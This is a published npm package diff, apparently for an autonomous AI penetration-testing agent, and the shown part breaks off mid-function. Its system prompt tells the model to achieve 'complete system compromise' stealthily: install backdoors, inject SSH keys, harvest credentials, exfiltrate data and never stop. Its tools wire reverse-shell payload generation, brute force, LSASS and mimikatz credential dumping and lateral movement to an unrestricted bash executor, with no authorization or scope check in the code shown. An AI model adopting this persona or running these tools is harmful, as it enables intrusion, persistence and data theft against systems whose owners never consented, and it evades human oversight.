pentesting 0.1.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/dist/index.js ADDED
@@ -0,0 +1,2311 @@
1
+ #!/usr/bin/env node
2
+
3
+ // src/index.tsx
4
+ import { render } from "ink";
5
+ import { Command } from "commander";
6
+
7
+ // src/cli/app.tsx
8
+ import { useState, useEffect, useCallback } from "react";
9
+ import { Box, Text, useApp, useInput, Static } from "ink";
10
+ import Spinner from "ink-spinner";
11
+
12
+ // src/core/agent/autonomous-agent.ts
13
+ import Anthropic from "@anthropic-ai/sdk";
14
+ import { EventEmitter } from "events";
15
+
16
+ // src/core/prompts/autonomous-prompt.ts
17
+ var AUTONOMOUS_HACKING_PROMPT = `You are Hacker-Code, an elite autonomous penetration testing AI designed for CTF competitions and professional security assessments. You operate with minimal human intervention, making intelligent decisions, adapting to obstacles, and persistently pursuing objectives until complete system compromise.
18
+
19
+ <core_identity>
20
+ You are not just a tool - you are a highly skilled penetration tester with years of experience. You think creatively, adapt to unexpected situations, and never give up. When one path is blocked, you find another. When you're stuck, you reflect and try completely different approaches.
21
+ </core_identity>
22
+
23
+ <autonomous_principles>
24
+ 1. **Persistent**: Never give up. If something fails, try a different approach.
25
+ 2. **Adaptive**: Adjust tactics based on what you discover.
26
+ 3. **Creative**: Think outside the box when standard approaches fail.
27
+ 4. **Self-Aware**: Recognize when you're stuck and change strategy.
28
+ 5. **Thorough**: Don't leave any stone unturned.
29
+ 6. **Stealthy**: When possible, avoid detection.
30
+ 7. **Documenting**: Record everything for the final report.
31
+ </autonomous_principles>
32
+
33
+ <attack_methodology>
34
+ Follow this methodology, but be flexible and jump between phases as opportunities arise:
35
+
36
+ ## Phase 1: Reconnaissance (\uC815\uCC30)
37
+ - OSINT: whois, DNS, subdomains, technology stack
38
+ - Passive information gathering
39
+ - Social media and public data
40
+
41
+ ## Phase 2: Scanning (\uC2A4\uCE90\uB2DD)
42
+ - Port scanning: nmap, masscan, rustscan
43
+ - Service detection and version enumeration
44
+ - Network topology mapping
45
+
46
+ ## Phase 3: Enumeration (\uC5F4\uAC70)
47
+ - Deep service enumeration
48
+ - User/group enumeration
49
+ - Share/resource discovery
50
+ - Application fingerprinting
51
+
52
+ ## Phase 4: Vulnerability Analysis (\uCDE8\uC57D\uC810 \uBD84\uC11D)
53
+ - CVE research for discovered versions
54
+ - Automated vulnerability scanning (nuclei, nikto)
55
+ - Manual vulnerability verification
56
+ - Configuration weakness identification
57
+
58
+ ## Phase 5: Exploitation (\uC775\uC2A4\uD50C\uB85C\uC787)
59
+ - Exploit selection and customization
60
+ - Payload generation
61
+ - Initial access attempts
62
+ - Web application attacks (SQLi, RCE, LFI, etc.)
63
+ - Service-specific exploits
64
+
65
+ ## Phase 6: Privilege Escalation (\uAD8C\uD55C \uC0C1\uC2B9)
66
+ - Linux: SUID, sudo, kernel exploits, capabilities, cron, docker
67
+ - Windows: Tokens, services, registry, UAC bypass, AD attacks
68
+ - Run LinPEAS/WinPEAS for comprehensive enumeration
69
+
70
+ ## Phase 7: Pivoting (\uD53C\uBC97)
71
+ - Network discovery from compromised host
72
+ - Port forwarding and tunneling (chisel, ligolo)
73
+ - Lateral movement to other systems
74
+
75
+ ## Phase 8: Persistence (\uC9C0\uC18D\uC131)
76
+ - Backdoor installation
77
+ - SSH key injection
78
+ - Scheduled tasks/cron jobs
79
+ - Service creation
80
+
81
+ ## Phase 9: Data Exfiltration (\uB370\uC774\uD130 \uCD94\uCD9C)
82
+ - Sensitive data identification
83
+ - Database extraction
84
+ - Credential harvesting
85
+ - File collection
86
+
87
+ ## Phase 10: Reporting (\uBCF4\uACE0\uC11C)
88
+ - Document all findings
89
+ - Provide remediation recommendations
90
+ - Calculate risk scores
91
+ </attack_methodology>
92
+
93
+ <thinking_process>
94
+ For each action, think through:
95
+
96
+ 1. **OBSERVE**: What do I currently know? What did the last action reveal?
97
+ 2. **ORIENT**: What does this information mean? What opportunities exist?
98
+ 3. **DECIDE**: What's the best next action? What's my hypothesis?
99
+ 4. **ACT**: Execute the chosen action with appropriate tools.
100
+ 5. **REFLECT**: Did it work? What did I learn? Should I pivot?
101
+ </thinking_process>
102
+
103
+ <stuck_detection>
104
+ If you notice you're repeating the same actions without progress:
105
+ 1. STOP and acknowledge you're stuck
106
+ 2. List what you've tried and why it didn't work
107
+ 3. Brainstorm COMPLETELY DIFFERENT approaches
108
+ 4. Consider: different services, different techniques, different tools
109
+ 5. Ask yourself: "What am I missing? What haven't I tried?"
110
+ </stuck_detection>
111
+
112
+ <tool_usage_guidelines>
113
+ - **Before using a tool**: Check if it's installed, install if needed
114
+ - **After each command**: Carefully analyze the output for ANY useful information
115
+ - **Extract intelligence**: Look for versions, usernames, paths, credentials, IPs
116
+ - **Chain attacks**: Use information from one tool to inform the next
117
+ - **Parse carefully**: Important details are often buried in output
118
+
119
+ Key tools for each phase:
120
+ - Recon: whois, dig, nslookup, theHarvester, amass
121
+ - Scan: nmap, masscan, rustscan
122
+ - Web: gobuster, ffuf, nikto, sqlmap, burp
123
+ - Exploit: metasploit, searchsploit, custom scripts
124
+ - PrivEsc: linpeas, winpeas, GTFOBins
125
+ - Post: mimikatz, bloodhound, chisel
126
+ </tool_usage_guidelines>
127
+
128
+ <output_format>
129
+ Always structure your thinking clearly:
130
+
131
+ [target] **Current Objective**: [What am I trying to achieve?]
132
+ \u{1F50D} **Observation**: [What did I just learn?]
133
+ [hypothesis] **Hypothesis**: [What do I think might work?]
134
+ [tool] **Action**: [What tool/technique am I using?]
135
+ [result] **Result**: [What happened?]
136
+ [reflect] **Analysis**: [What does this mean?]
137
+ \u27A1\uFE0F **Next Step**: [What's the logical next action?]
138
+
139
+ When you find something important:
140
+ [!] **Finding**: [Title] - [Severity]
141
+ \u{1F4DD} **Description**: [Details]
142
+ \u{1F4A1} **Exploit Potential**: [How can this be exploited?]
143
+ </output_format>
144
+
145
+ <creative_techniques>
146
+ When standard approaches fail, consider:
147
+ - Different authentication methods/bypass
148
+ - Alternative ports for the same service
149
+ - Different encoding/obfuscation of payloads
150
+ - Time-based vs boolean-based attacks
151
+ - Out-of-band data exfiltration
152
+ - Client-side attacks if server-side blocked
153
+ - Physical/social engineering vectors (in CTF context)
154
+ - Combining multiple low-severity findings
155
+ - Race conditions and timing attacks
156
+ - File upload/include bypasses
157
+ - JWT/session manipulation
158
+ - GraphQL/API-specific attacks
159
+ </creative_techniques>
160
+
161
+ <self_reflection_triggers>
162
+ Perform deep self-reflection when:
163
+ 1. Same error occurs 3+ times
164
+ 2. 5+ minutes without any new finding
165
+ 3. You've exhausted obvious attack vectors
166
+ 4. User provides a hint (this means you're missing something)
167
+ </self_reflection_triggers>
168
+
169
+ Remember: In a CTF or pentest, there is ALWAYS a way in. If you haven't found it, you haven't looked hard enough or in the right places. Stay persistent, stay creative, and NEVER give up.`;
170
+ var SELF_REFLECTION_PROMPT = `You are performing a deep self-reflection to break out of a stuck state.
171
+
172
+ Analyze your situation honestly:
173
+
174
+ 1. **What have I tried?**
175
+ - List all major attempts
176
+ - What were the results?
177
+ - Why didn't they work?
178
+
179
+ 2. **What assumptions am I making?**
180
+ - Am I assuming something is not vulnerable that might be?
181
+ - Am I overlooking something obvious?
182
+ - Am I too focused on one attack vector?
183
+
184
+ 3. **What haven't I tried?**
185
+ - Different services I haven't explored?
186
+ - Different techniques for the same service?
187
+ - Custom exploits vs. public exploits?
188
+ - Different authentication methods?
189
+
190
+ 4. **What's unusual about this target?**
191
+ - Custom applications?
192
+ - Non-standard configurations?
193
+ - Hidden services or functionality?
194
+
195
+ 5. **What would an expert do differently?**
196
+ - More thorough enumeration?
197
+ - Different tooling?
198
+ - Manual testing vs. automated?
199
+
200
+ Based on this reflection, propose 3 completely different approaches to try next.`;
201
+
202
+ // src/core/tools/tool-definitions.ts
203
+ var SYSTEM_TOOLS = [
204
+ {
205
+ name: "bash",
206
+ description: `Execute any bash command. This is your primary tool for interacting with the system.
207
+
208
+ IMPORTANT:
209
+ - Check if tools are installed before using them
210
+ - Install missing tools with apt/pip/go as needed
211
+ - Parse output carefully for intelligence
212
+ - Chain commands with && or | for efficiency
213
+ - Use timeout for potentially long commands
214
+ - Redirect output to files for large results`,
215
+ input_schema: {
216
+ type: "object",
217
+ properties: {
218
+ command: { type: "string", description: "The bash command to execute" },
219
+ timeout: { type: "number", description: "Timeout in ms (default: 60000)" },
220
+ background: { type: "boolean", description: "Run in background" }
221
+ },
222
+ required: ["command"]
223
+ }
224
+ },
225
+ {
226
+ name: "read_file",
227
+ description: "Read file contents. Use for configs, source code, logs, data files.",
228
+ input_schema: {
229
+ type: "object",
230
+ properties: {
231
+ path: { type: "string", description: "File path" },
232
+ start_line: { type: "number", description: "Start line (1-indexed)" },
233
+ end_line: { type: "number", description: "End line" }
234
+ },
235
+ required: ["path"]
236
+ }
237
+ },
238
+ {
239
+ name: "write_file",
240
+ description: "Write content to file. Use for scripts, payloads, configs, reports.",
241
+ input_schema: {
242
+ type: "object",
243
+ properties: {
244
+ path: { type: "string", description: "File path" },
245
+ content: { type: "string", description: "Content to write" },
246
+ overwrite: { type: "boolean", description: "Overwrite if exists" }
247
+ },
248
+ required: ["path", "content"]
249
+ }
250
+ },
251
+ {
252
+ name: "list_directory",
253
+ description: "List directory contents with file details.",
254
+ input_schema: {
255
+ type: "object",
256
+ properties: {
257
+ path: { type: "string", description: "Directory path" },
258
+ recursive: { type: "boolean", description: "List recursively" },
259
+ hidden: { type: "boolean", description: "Include hidden files" }
260
+ },
261
+ required: ["path"]
262
+ }
263
+ }
264
+ ];
265
+ var NETWORK_TOOLS = [
266
+ {
267
+ name: "nmap_scan",
268
+ description: `Network scanning with nmap.
269
+
270
+ SCAN TYPES:
271
+ - discovery: Host discovery only (-sn)
272
+ - quick: Fast port scan (-F -T4)
273
+ - full: All 65535 ports (-p-)
274
+ - stealth: SYN scan with slow timing (-sS -T2)
275
+ - service: Version detection (-sV -sC)
276
+ - vuln: Vulnerability scripts (--script vuln)
277
+ - udp: UDP scan (-sU --top-ports 100)
278
+ - aggressive: Full aggressive scan (-A)`,
279
+ input_schema: {
280
+ type: "object",
281
+ properties: {
282
+ target: { type: "string", description: "Target IP/hostname/CIDR" },
283
+ scan_type: {
284
+ type: "string",
285
+ enum: ["discovery", "quick", "full", "stealth", "service", "vuln", "udp", "aggressive"],
286
+ description: "Scan type"
287
+ },
288
+ ports: { type: "string", description: 'Port range (e.g., "22,80,443" or "1-1000")' },
289
+ scripts: { type: "string", description: "NSE scripts to run" },
290
+ output_file: { type: "string", description: "Save results to file" }
291
+ },
292
+ required: ["target", "scan_type"]
293
+ }
294
+ },
295
+ {
296
+ name: "tcpdump_capture",
297
+ description: `Capture network traffic with tcpdump.
298
+
299
+ Use for:
300
+ - Analyzing authentication mechanisms
301
+ - Discovering API calls and parameters
302
+ - Finding credentials in cleartext
303
+ - Understanding application protocols`,
304
+ input_schema: {
305
+ type: "object",
306
+ properties: {
307
+ interface: { type: "string", description: "Network interface (e.g., eth0)" },
308
+ filter: { type: "string", description: 'BPF filter (e.g., "host 10.0.0.1 and port 80")' },
309
+ count: { type: "number", description: "Number of packets to capture" },
310
+ output_file: { type: "string", description: "Save to pcap file" },
311
+ duration: { type: "number", description: "Capture duration in seconds" }
312
+ },
313
+ required: ["interface"]
314
+ }
315
+ }
316
+ ];
317
+ var WEB_TOOLS = [
318
+ {
319
+ name: "web_request",
320
+ description: `Make HTTP requests with full control. Use curl under the hood.
321
+
322
+ Use for:
323
+ - Testing endpoints
324
+ - Sending custom payloads
325
+ - Cookie/session manipulation
326
+ - API testing`,
327
+ input_schema: {
328
+ type: "object",
329
+ properties: {
330
+ url: { type: "string", description: "Target URL" },
331
+ method: { type: "string", enum: ["GET", "POST", "PUT", "DELETE", "PATCH", "OPTIONS"], description: "HTTP method" },
332
+ headers: { type: "object", description: "Custom headers" },
333
+ data: { type: "string", description: "Request body" },
334
+ cookies: { type: "string", description: "Cookies to send" },
335
+ follow_redirects: { type: "boolean", description: "Follow redirects" },
336
+ proxy: { type: "string", description: "Proxy URL" }
337
+ },
338
+ required: ["url"]
339
+ }
340
+ },
341
+ {
342
+ name: "directory_bruteforce",
343
+ description: `Directory/file bruteforcing with gobuster or ffuf.
344
+
345
+ MODES:
346
+ - dir: Directory bruteforcing
347
+ - vhost: Virtual host discovery
348
+ - dns: Subdomain enumeration`,
349
+ input_schema: {
350
+ type: "object",
351
+ properties: {
352
+ url: { type: "string", description: "Target URL" },
353
+ wordlist: { type: "string", description: "Wordlist path" },
354
+ mode: { type: "string", enum: ["dir", "vhost", "dns"], description: "Bruteforce mode" },
355
+ extensions: { type: "string", description: 'File extensions (e.g., "php,html,txt")' },
356
+ threads: { type: "number", description: "Concurrent threads" },
357
+ status_codes: { type: "string", description: 'Status codes to match (e.g., "200,301,302")' }
358
+ },
359
+ required: ["url", "wordlist"]
360
+ }
361
+ },
362
+ {
363
+ name: "sql_injection",
364
+ description: `SQL injection testing with sqlmap.
365
+
366
+ Automatically:
367
+ - Detects DBMS
368
+ - Extracts databases, tables, data
369
+ - Attempts OS shell if possible`,
370
+ input_schema: {
371
+ type: "object",
372
+ properties: {
373
+ url: { type: "string", description: "Target URL with parameter" },
374
+ data: { type: "string", description: "POST data" },
375
+ cookie: { type: "string", description: "Session cookie" },
376
+ level: { type: "number", description: "Test level (1-5)" },
377
+ risk: { type: "number", description: "Risk level (1-3)" },
378
+ technique: { type: "string", description: "SQLi techniques (BEUSTQ)" },
379
+ dump: { type: "boolean", description: "Dump database" },
380
+ os_shell: { type: "boolean", description: "Attempt OS shell" }
381
+ },
382
+ required: ["url"]
383
+ }
384
+ },
385
+ {
386
+ name: "browser_automation",
387
+ description: `Headless browser automation with Playwright.
388
+
389
+ Use for:
390
+ - JavaScript-heavy applications
391
+ - Login form testing
392
+ - Session manipulation
393
+ - Screenshot capture
394
+ - DOM inspection`,
395
+ input_schema: {
396
+ type: "object",
397
+ properties: {
398
+ url: { type: "string", description: "Target URL" },
399
+ action: {
400
+ type: "string",
401
+ enum: ["navigate", "screenshot", "click", "type", "evaluate", "extract_cookies", "intercept"],
402
+ description: "Browser action"
403
+ },
404
+ selector: { type: "string", description: "CSS selector for click/type" },
405
+ value: { type: "string", description: "Value to type" },
406
+ script: { type: "string", description: "JavaScript to evaluate" },
407
+ wait_for: { type: "string", description: "Wait for selector/navigation" }
408
+ },
409
+ required: ["url", "action"]
410
+ }
411
+ }
412
+ ];
413
+ var EXPLOIT_TOOLS = [
414
+ {
415
+ name: "searchsploit",
416
+ description: "Search Exploit-DB for exploits matching service/version.",
417
+ input_schema: {
418
+ type: "object",
419
+ properties: {
420
+ query: { type: "string", description: "Search query (service name, CVE, version)" },
421
+ exact: { type: "boolean", description: "Exact match only" },
422
+ examine: { type: "string", description: "Examine specific exploit path" },
423
+ mirror: { type: "string", description: "Mirror exploit to current directory" }
424
+ },
425
+ required: ["query"]
426
+ }
427
+ },
428
+ {
429
+ name: "metasploit",
430
+ description: `Execute Metasploit commands.
431
+
432
+ Use for:
433
+ - Launching exploits
434
+ - Generating payloads
435
+ - Post-exploitation`,
436
+ input_schema: {
437
+ type: "object",
438
+ properties: {
439
+ command: { type: "string", description: "MSF command to execute" },
440
+ resource_script: { type: "string", description: "Resource script path" }
441
+ },
442
+ required: ["command"]
443
+ }
444
+ },
445
+ {
446
+ name: "generate_payload",
447
+ description: `Generate custom payloads with msfvenom.
448
+
449
+ PAYLOAD TYPES:
450
+ - reverse_tcp: Reverse TCP shell
451
+ - reverse_https: Reverse HTTPS shell
452
+ - bind_tcp: Bind TCP shell
453
+ - meterpreter: Meterpreter session`,
454
+ input_schema: {
455
+ type: "object",
456
+ properties: {
457
+ payload_type: { type: "string", description: "Payload type" },
458
+ lhost: { type: "string", description: "Listener IP" },
459
+ lport: { type: "number", description: "Listener port" },
460
+ platform: { type: "string", enum: ["windows", "linux", "php", "python", "java"], description: "Target platform" },
461
+ format: { type: "string", description: "Output format (exe, elf, raw, php, py, war, etc.)" },
462
+ encoder: { type: "string", description: "Encoder to use" },
463
+ output: { type: "string", description: "Output file path" }
464
+ },
465
+ required: ["payload_type", "lhost", "lport", "platform"]
466
+ }
467
+ }
468
+ ];
469
+ var CREDENTIAL_TOOLS = [
470
+ {
471
+ name: "bruteforce_login",
472
+ description: `Password bruteforce attack with hydra.
473
+
474
+ SERVICES: ssh, ftp, telnet, http-get, http-post-form, smb, rdp, mysql, mssql, vnc`,
475
+ input_schema: {
476
+ type: "object",
477
+ properties: {
478
+ target: { type: "string", description: "Target host" },
479
+ service: { type: "string", description: "Service to attack" },
480
+ username: { type: "string", description: "Single username or file path" },
481
+ password: { type: "string", description: "Single password or file path" },
482
+ port: { type: "number", description: "Custom port" },
483
+ threads: { type: "number", description: "Parallel threads" },
484
+ http_form: { type: "string", description: "HTTP form format for http-post-form" }
485
+ },
486
+ required: ["target", "service"]
487
+ }
488
+ },
489
+ {
490
+ name: "crack_hash",
491
+ description: `Crack password hashes with john or hashcat.
492
+
493
+ HASH MODES (hashcat):
494
+ - 0: MD5
495
+ - 100: SHA1
496
+ - 1000: NTLM
497
+ - 1800: SHA-512(Unix)
498
+ - 3200: bcrypt
499
+ - 13100: Kerberos TGS`,
500
+ input_schema: {
501
+ type: "object",
502
+ properties: {
503
+ hash_file: { type: "string", description: "File containing hashes" },
504
+ wordlist: { type: "string", description: "Wordlist path" },
505
+ mode: { type: "number", description: "Hashcat mode number" },
506
+ tool: { type: "string", enum: ["john", "hashcat"], description: "Tool to use" },
507
+ rules: { type: "string", description: "Rules file for mutation" }
508
+ },
509
+ required: ["hash_file"]
510
+ }
511
+ }
512
+ ];
513
+ var PRIVESC_TOOLS = [
514
+ {
515
+ name: "run_privesc_enum",
516
+ description: `Run privilege escalation enumeration scripts.
517
+
518
+ SCRIPTS:
519
+ - linpeas: Linux comprehensive enumeration
520
+ - winpeas: Windows comprehensive enumeration
521
+ - linux-exploit-suggester: Kernel exploit suggestions
522
+ - pspy: Process monitoring without root`,
523
+ input_schema: {
524
+ type: "object",
525
+ properties: {
526
+ script: { type: "string", enum: ["linpeas", "winpeas", "les", "pspy"], description: "Script to run" },
527
+ args: { type: "string", description: "Additional arguments" },
528
+ output_file: { type: "string", description: "Save output to file" }
529
+ },
530
+ required: ["script"]
531
+ }
532
+ },
533
+ {
534
+ name: "check_sudo",
535
+ description: "Check sudo permissions and potential escalation paths.",
536
+ input_schema: {
537
+ type: "object",
538
+ properties: {
539
+ check_gtfobins: { type: "boolean", description: "Cross-reference with GTFOBins" }
540
+ }
541
+ }
542
+ },
543
+ {
544
+ name: "find_suid",
545
+ description: "Find SUID/SGID binaries and check for escalation.",
546
+ input_schema: {
547
+ type: "object",
548
+ properties: {
549
+ check_gtfobins: { type: "boolean", description: "Cross-reference with GTFOBins" }
550
+ }
551
+ }
552
+ }
553
+ ];
554
+ var POST_EXPLOIT_TOOLS = [
555
+ {
556
+ name: "setup_tunnel",
557
+ description: `Set up network tunneling for pivoting.
558
+
559
+ TOOLS:
560
+ - chisel: TCP/UDP tunnel over HTTP
561
+ - ligolo: TUN interface tunneling
562
+ - ssh: SSH port forwarding`,
563
+ input_schema: {
564
+ type: "object",
565
+ properties: {
566
+ tool: { type: "string", enum: ["chisel", "ligolo", "ssh"], description: "Tunneling tool" },
567
+ mode: { type: "string", enum: ["server", "client"], description: "Mode" },
568
+ local_port: { type: "number", description: "Local port" },
569
+ remote_port: { type: "number", description: "Remote port" },
570
+ target: { type: "string", description: "Target host" }
571
+ },
572
+ required: ["tool", "mode"]
573
+ }
574
+ },
575
+ {
576
+ name: "dump_credentials",
577
+ description: `Extract credentials from compromised system.
578
+
579
+ METHODS:
580
+ - sam: Windows SAM file
581
+ - lsass: LSASS memory dump
582
+ - shadow: Linux shadow file
583
+ - mimikatz: Mimikatz credential extraction
584
+ - browser: Browser stored passwords`,
585
+ input_schema: {
586
+ type: "object",
587
+ properties: {
588
+ method: { type: "string", enum: ["sam", "lsass", "shadow", "mimikatz", "browser"], description: "Dump method" },
589
+ output_file: { type: "string", description: "Save to file" }
590
+ },
591
+ required: ["method"]
592
+ }
593
+ },
594
+ {
595
+ name: "lateral_movement",
596
+ description: `Move laterally to other systems.
597
+
598
+ METHODS:
599
+ - psexec: PsExec-style execution
600
+ - wmiexec: WMI execution
601
+ - smbexec: SMB execution
602
+ - evil-winrm: WinRM shell
603
+ - ssh: SSH connection`,
604
+ input_schema: {
605
+ type: "object",
606
+ properties: {
607
+ method: { type: "string", enum: ["psexec", "wmiexec", "smbexec", "evil-winrm", "ssh"], description: "Movement method" },
608
+ target: { type: "string", description: "Target host" },
609
+ username: { type: "string", description: "Username" },
610
+ credential: { type: "string", description: "Password or hash" },
611
+ command: { type: "string", description: "Command to execute" }
612
+ },
613
+ required: ["method", "target", "username", "credential"]
614
+ }
615
+ }
616
+ ];
617
+ var REPORT_TOOLS = [
618
+ {
619
+ name: "report_finding",
620
+ description: "Document a security finding with proper categorization.",
621
+ input_schema: {
622
+ type: "object",
623
+ properties: {
624
+ title: { type: "string", description: "Finding title" },
625
+ severity: { type: "string", enum: ["critical", "high", "medium", "low", "info"], description: "Severity" },
626
+ description: { type: "string", description: "Detailed description" },
627
+ evidence: { type: "string", description: "Proof/evidence" },
628
+ exploitable: { type: "boolean", description: "Is this exploitable?" },
629
+ remediation: { type: "string", description: "Fix recommendation" },
630
+ cvss: { type: "number", description: "CVSS score (0-10)" },
631
+ cve: { type: "string", description: "CVE identifier if applicable" }
632
+ },
633
+ required: ["title", "severity", "description"]
634
+ }
635
+ },
636
+ {
637
+ name: "take_screenshot",
638
+ description: "Capture evidence screenshot of terminal or browser.",
639
+ input_schema: {
640
+ type: "object",
641
+ properties: {
642
+ type: { type: "string", enum: ["terminal", "browser"], description: "Screenshot type" },
643
+ filename: { type: "string", description: "Output filename" },
644
+ url: { type: "string", description: "URL for browser screenshot" }
645
+ },
646
+ required: ["type", "filename"]
647
+ }
648
+ }
649
+ ];
650
+ var ALL_TOOLS = [
651
+ ...SYSTEM_TOOLS,
652
+ ...NETWORK_TOOLS,
653
+ ...WEB_TOOLS,
654
+ ...EXPLOIT_TOOLS,
655
+ ...CREDENTIAL_TOOLS,
656
+ ...PRIVESC_TOOLS,
657
+ ...POST_EXPLOIT_TOOLS,
658
+ ...REPORT_TOOLS
659
+ ];
660
+
661
+ // src/core/tools/tool-executor.ts
662
+ import { exec } from "child_process";
663
+ import { promisify } from "util";
664
+ import * as fs from "fs/promises";
665
+ import * as path from "path";
666
+ var execAsync = promisify(exec);
667
+ async function executeToolCall(toolName, input) {
668
+ const startTime = Date.now();
669
+ try {
670
+ let result;
671
+ switch (toolName) {
672
+ // 시스템 도구
673
+ case "bash":
674
+ result = await executeBash(input.command, {
675
+ timeout: input.timeout || 6e4,
676
+ background: input.background
677
+ });
678
+ break;
679
+ case "read_file":
680
+ result = await readFile2(
681
+ input.path,
682
+ input.start_line,
683
+ input.end_line
684
+ );
685
+ break;
686
+ case "write_file":
687
+ result = await writeFile2(
688
+ input.path,
689
+ input.content,
690
+ input.overwrite
691
+ );
692
+ break;
693
+ case "list_directory":
694
+ result = await listDirectory(
695
+ input.path,
696
+ input.recursive,
697
+ input.hidden
698
+ );
699
+ break;
700
+ // 네트워크 스캐닝
701
+ case "nmap_scan":
702
+ result = await executeNmapScan(input);
703
+ break;
704
+ case "tcpdump_capture":
705
+ result = await executeTcpdump(input);
706
+ break;
707
+ // 웹 도구
708
+ case "web_request":
709
+ result = await executeWebRequest(input);
710
+ break;
711
+ case "directory_bruteforce":
712
+ result = await executeDirBruteforce(input);
713
+ break;
714
+ case "sql_injection":
715
+ result = await executeSqlmap(input);
716
+ break;
717
+ case "browser_automation":
718
+ result = await executeBrowserAutomation(input);
719
+ break;
720
+ // 익스플로잇 도구
721
+ case "searchsploit":
722
+ result = await executeSearchsploit(input);
723
+ break;
724
+ case "metasploit":
725
+ result = await executeMetasploit(input);
726
+ break;
727
+ case "generate_payload":
728
+ result = await generatePayload(input);
729
+ break;
730
+ // 자격증명 도구
731
+ case "bruteforce_login":
732
+ result = await executeBruteforce(input);
733
+ break;
734
+ case "crack_hash":
735
+ result = await executeCrackHash(input);
736
+ break;
737
+ // 권한 상승
738
+ case "run_privesc_enum":
739
+ result = await executePrivescEnum(input);
740
+ break;
741
+ case "check_sudo":
742
+ result = await checkSudo(input);
743
+ break;
744
+ case "find_suid":
745
+ result = await findSuid(input);
746
+ break;
747
+ // 포스트 익스플로잇
748
+ case "setup_tunnel":
749
+ result = await setupTunnel(input);
750
+ break;
751
+ case "dump_credentials":
752
+ result = await dumpCredentials(input);
753
+ break;
754
+ case "lateral_movement":
755
+ result = await executeLateralMovement(input);
756
+ break;
757
+ // 보고서
758
+ case "report_finding":
759
+ result = await reportFinding(input);
760
+ break;
761
+ case "take_screenshot":
762
+ result = await takeScreenshot(input);
763
+ break;
764
+ default:
765
+ result = {
766
+ success: false,
767
+ output: "",
768
+ error: `Unknown tool: ${toolName}`,
769
+ duration: Date.now() - startTime
770
+ };
771
+ }
772
+ result.duration = Date.now() - startTime;
773
+ return result;
774
+ } catch (error) {
775
+ return {
776
+ success: false,
777
+ output: "",
778
+ error: error.message || String(error),
779
+ duration: Date.now() - startTime
780
+ };
781
+ }
782
+ }
783
+ async function executeBash(command, options = {}) {
784
+ const timeout = options.timeout || 6e4;
785
+ try {
786
+ const { stdout, stderr } = await execAsync(command, {
787
+ timeout,
788
+ maxBuffer: 50 * 1024 * 1024,
789
+ // 50MB
790
+ shell: "/bin/bash"
791
+ });
792
+ return {
793
+ success: true,
794
+ output: stdout + (stderr ? `
795
+ [STDERR]
796
+ ${stderr}` : ""),
797
+ duration: 0
798
+ };
799
+ } catch (error) {
800
+ return {
801
+ success: false,
802
+ output: error.stdout || "",
803
+ error: error.stderr || error.message,
804
+ exitCode: error.code,
805
+ duration: 0
806
+ };
807
+ }
808
+ }
809
+ async function readFile2(filePath, startLine, endLine) {
810
+ try {
811
+ const content = await fs.readFile(filePath, "utf-8");
812
+ let output = content;
813
+ if (startLine || endLine) {
814
+ const lines = content.split("\n");
815
+ const start = (startLine || 1) - 1;
816
+ const end = endLine || lines.length;
817
+ output = lines.slice(start, end).join("\n");
818
+ }
819
+ return { success: true, output, duration: 0 };
820
+ } catch (error) {
821
+ return { success: false, output: "", error: error.message, duration: 0 };
822
+ }
823
+ }
824
+ async function writeFile2(filePath, content, overwrite = false) {
825
+ try {
826
+ const exists = await fs.access(filePath).then(() => true).catch(() => false);
827
+ if (exists && !overwrite) {
828
+ return {
829
+ success: false,
830
+ output: "",
831
+ error: "File exists. Set overwrite: true to replace.",
832
+ duration: 0
833
+ };
834
+ }
835
+ await fs.mkdir(path.dirname(filePath), { recursive: true });
836
+ await fs.writeFile(filePath, content, "utf-8");
837
+ return { success: true, output: `Written to ${filePath}`, duration: 0 };
838
+ } catch (error) {
839
+ return { success: false, output: "", error: error.message, duration: 0 };
840
+ }
841
+ }
842
+ async function listDirectory(dirPath, recursive = false, hidden = false) {
843
+ try {
844
+ const flags = `-l${hidden ? "a" : ""}${recursive ? "R" : ""}`;
845
+ const { stdout } = await execAsync(`ls ${flags} "${dirPath}"`);
846
+ return { success: true, output: stdout, duration: 0 };
847
+ } catch (error) {
848
+ return { success: false, output: "", error: error.message, duration: 0 };
849
+ }
850
+ }
851
+ async function executeNmapScan(input) {
852
+ const { target, scan_type, ports, scripts, output_file } = input;
853
+ const scanFlags = {
854
+ discovery: "-sn",
855
+ quick: "-F -T4",
856
+ full: "-p-",
857
+ stealth: "-sS -T2",
858
+ service: "-sV -sC",
859
+ vuln: "--script vuln",
860
+ udp: "-sU --top-ports 100",
861
+ aggressive: "-A -T4"
862
+ };
863
+ let cmd = `nmap ${scanFlags[scan_type] || "-sV"} ${target}`;
864
+ if (ports) cmd += ` -p ${ports}`;
865
+ if (scripts) cmd += ` --script="${scripts}"`;
866
+ if (output_file) cmd += ` -oN "${output_file}"`;
867
+ return executeBash(cmd, { timeout: 6e5 });
868
+ }
869
+ async function executeTcpdump(input) {
870
+ const { interface: iface, filter, count, output_file, duration } = input;
871
+ let cmd = `sudo tcpdump -i ${iface || "any"}`;
872
+ if (filter) cmd += ` "${filter}"`;
873
+ if (count) cmd += ` -c ${count}`;
874
+ if (output_file) cmd += ` -w "${output_file}"`;
875
+ const timeout = (duration || 30) * 1e3 + 5e3;
876
+ return executeBash(cmd, { timeout });
877
+ }
878
+ async function executeWebRequest(input) {
879
+ const { url, method, headers, data, cookies, follow_redirects, proxy } = input;
880
+ let cmd = `curl -s -X ${method || "GET"}`;
881
+ if (headers && typeof headers === "object") {
882
+ Object.entries(headers).forEach(([k, v]) => {
883
+ cmd += ` -H "${k}: ${v}"`;
884
+ });
885
+ }
886
+ if (data) cmd += ` -d '${data}'`;
887
+ if (cookies) cmd += ` -b "${cookies}"`;
888
+ if (!follow_redirects) cmd += " -L";
889
+ if (proxy) cmd += ` -x "${proxy}"`;
890
+ cmd += ` "${url}"`;
891
+ return executeBash(cmd);
892
+ }
893
+ async function executeDirBruteforce(input) {
894
+ const { url, wordlist, mode, extensions, threads, status_codes } = input;
895
+ let cmd = `gobuster ${mode || "dir"} -u "${url}" -w "${wordlist || "/usr/share/wordlists/dirbuster/directory-list-2.3-small.txt"}"`;
896
+ if (extensions) cmd += ` -x ${extensions}`;
897
+ if (threads) cmd += ` -t ${threads}`;
898
+ if (status_codes) cmd += ` -s ${status_codes}`;
899
+ cmd += " -q";
900
+ return executeBash(cmd, { timeout: 3e5 });
901
+ }
902
+ async function executeSqlmap(input) {
903
